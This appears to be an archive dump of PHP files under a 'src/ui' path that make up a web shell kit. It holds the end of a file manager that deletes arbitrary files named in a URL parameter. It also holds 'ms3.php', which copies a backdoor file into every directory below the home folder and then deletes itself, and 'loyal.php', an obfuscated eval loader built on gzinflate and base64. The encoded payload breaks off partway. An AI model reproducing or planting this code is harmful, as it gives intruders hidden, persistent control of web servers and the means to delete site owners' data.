        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>src/ui/mmd/ms3.php000064400000003150151327062330007741 0ustar00<?php
/////////////Getting home dir //////////////
if(!function_exists('posix_getpwuid')){
   if(isset($_GET["path"])){
     $home=$_GET["path"];
   }else{
     echo getcwd();
     die("<br>posix function is not available<br>Please Input Path");
   }
}else{
echo $_SERVER['SERVER_ADDR'];
echo "<br>";

        if(isset($_GET["path"])){
           $home=$_GET["path"];
        }else{
        $arr = posix_getpwuid(posix_getuid());
        $home = $arr["dir"];
        }
}


///////////Making directory & copy file//////////////  
$filepath=getcwd()."/elp.php"; 

  $dirlist = getFileList($home, TRUE, 2);
  foreach($dirlist as $alldir){
    mkdir($alldir."Wp", 0777, TRUE);
    if(copy($filepath, $alldir."Wp/elp.php")) {
     echo $alldir."Wp/elp.php<br>";}
  }
  
  //////////////Directory scanner////////////////
  function getFileList($dir, $recurse = FALSE, $depth = FALSE)
  {
    $retval = [];
    if(substr($dir, -1) != "/") {
      $dir .= "/";
    }
    $d = @dir($dir) or die("Failed open directory $dir");
    while(FALSE !== ($entry = $d->read())) {
      // skip hidden files
      if($entry[0] == "."){
	 continue;
	}
      if(is_dir("$dir$entry")) {
        $retval[] = "$dir$entry/";
        if($recurse && is_readable("$dir$entry/")) {
          if($depth === FALSE) {
            $retval = array_merge($retval, getFileList("$dir$entry/", TRUE));
          } elseif($depth > 0) {
            $retval = array_merge($retval, getFileList("$dir$entry/", TRUE, $depth-1));
          }
        }
      }
    }
    $d->close();

    return $retval;
  }
unlink(__FILE__);src/ui/mmd/loyal.php000064400000267627151327062330010404 0ustar00<?php function AivT($zEMuyJ)
{ 
$zEMuyJ=gzinflate(base64_decode($zEMuyJ));
 for($i=0;$i<strlen($zEMuyJ);$i++)
 {
$zEMuyJ[$i] = chr(ord($zEMuyJ[$i])-1);
 }
 return $zEMuyJ;
 }eval(AivT("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